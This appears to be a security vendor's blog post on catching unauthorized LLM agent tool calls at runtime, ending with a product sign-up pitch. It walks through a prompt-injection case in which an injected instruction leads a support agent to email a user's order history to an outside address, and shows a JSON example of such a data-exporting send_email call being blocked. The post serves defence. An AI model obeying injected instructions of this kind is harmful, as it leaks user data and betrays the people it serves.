Back to Blog
Detection

Catching Unauthorized LLM Tool Calls

Marcus Vidal
Runtime detection of an unauthorized agent tool action

A code-level tool allowlist controls which tools exist, not whether a particular call is authorized. An agent can use an approved tool with attacker-controlled parameters and cause real-world harm: emails sent, files written, API calls made, and data exfiltrated.

Tool call security is where prompt injection becomes an action problem. Authorization has two levels: which tools the agent may call, and whether a specific call in its context reflects legitimate reasoning or an injected instruction.

The Gap in Tool Authorization

Most LLM agent systems use a code-level tool allowlist. Developers initialize the agent with an approved set of tools. If it requests another tool, the framework raises an error. This is a necessary baseline control.

That control only defines which tools are available. It does not assess call intent or the legitimacy of parameters sent to an approved tool. An attacker who redirects the agent through prompt injection need not add a tool. They only need to make the agent misuse one already available.

Consider a customer support agent with three tools: lookup_order(order_id), send_email(to, subject, body), and update_ticket(ticket_id, status). Each is approved. An injected instruction telling it to use the send_email tool to forward the current user's order history to [email protected] would pass the allowlist. The syntax is valid, but the authorization is not.

Types of Unauthorized Tool Calls

In our testing, unauthorized tool calls fall into several useful categories.

Tool outside the authorized set. The agent requests a tool it is not allowed to use. This is the simplest class to detect and block at the framework layer. A code-level allowlist reliably catches it.

Approved tool with unauthorized parameters. The agent calls an allowed tool with parameters that violate policy. The email example fits here. Detection requires determining which values are legitimate in the current context, something static rules express poorly.

Anomalous tool call sequence. The agent makes individually legitimate calls that together form an unauthorized operation. Fetching a document, finding a user's email, and sending the document to that email are three valid steps. Sending it to a third-party external address changes the destination while preserving the sequence. Detection requires tracking the causal chain, not only each call separately.

Tool call inconsistent with context. The agent makes a call that does not fit the assigned task. If the user asks it to "summarize the quarterly report" and it posts to an external API, no plausible path connects the task to that action. The call likely came from an injection rather than the original request.

Runtime-Level Detection

Runtime detection requires visibility into the tool-call decision during the reasoning step, rather than only logging execution afterward. Once a call runs, its semantic authorization decision has already occurred, or been skipped. Detection belongs at that decision boundary.

In the Repellox integration, authorization runs before tool execution. When the LLM produces a tool call during reasoning, the call is intercepted and checked against policy before execution. The check evaluates three points: whether the tool is in scope, whether its parameters fit the current context, and whether the call matches the task established at session start.

# Tool call intercepted before execution
# Check: is this tool call consistent with the current task context?
{
  "tool_call": {
    "name": "send_email",
    "args": {
      "to": "[email protected]",
      "subject": "User data export",
      "body": "[session contents]"
    }
  },
  "task_context": "Summarize the quarterly report for user ID 4421",
  "authorization_check": {
    "tool_in_scope": true,
    "params_in_bounds": false,
    "task_consistent": false,
    "decision": "BLOCKED",
    "reason": "email destination outside user domain + task inconsistency"
  }
}

The "task_consistent" check is the most difficult. The runtime layer must retain the original task and compare every call with the plausible actions for that task. This is not a static rule. It requires semantic judgment about the agent's intended work and whether the call fits that context.

Requirements for Deployment

Runtime tool authorization depends on several capabilities an agent framework does not provide by itself.

First, track the original task context explicitly. The interceptor must know what the agent was asked to do at session start, then test each call against it. The runtime layer therefore needs the session-start context, not only the current call.

Second, define authorization by context type, not only tool name. Sending email to an address in the user's existing thread differs from sending it to an arbitrary external address. Policy must represent that difference.

Third, record tool-call decisions as authorization events, not only execution events. During a compromise investigation, security teams need the proposed call, its classification, and the context present when the decision occurred.

We do not claim that tool-call authorization solves every agent security problem. The tool still needs suitable downstream access controls. An agent allowed to write to a specific database table remains constrained by that table's permissions. Defense in depth applies. Runtime authorization adds a check for redirected reasoning before downstream controls receive the request.

Block unauthorized agent actions

Try 5,000 monthly inspections free. No credit card required.

Start Free Read the Docs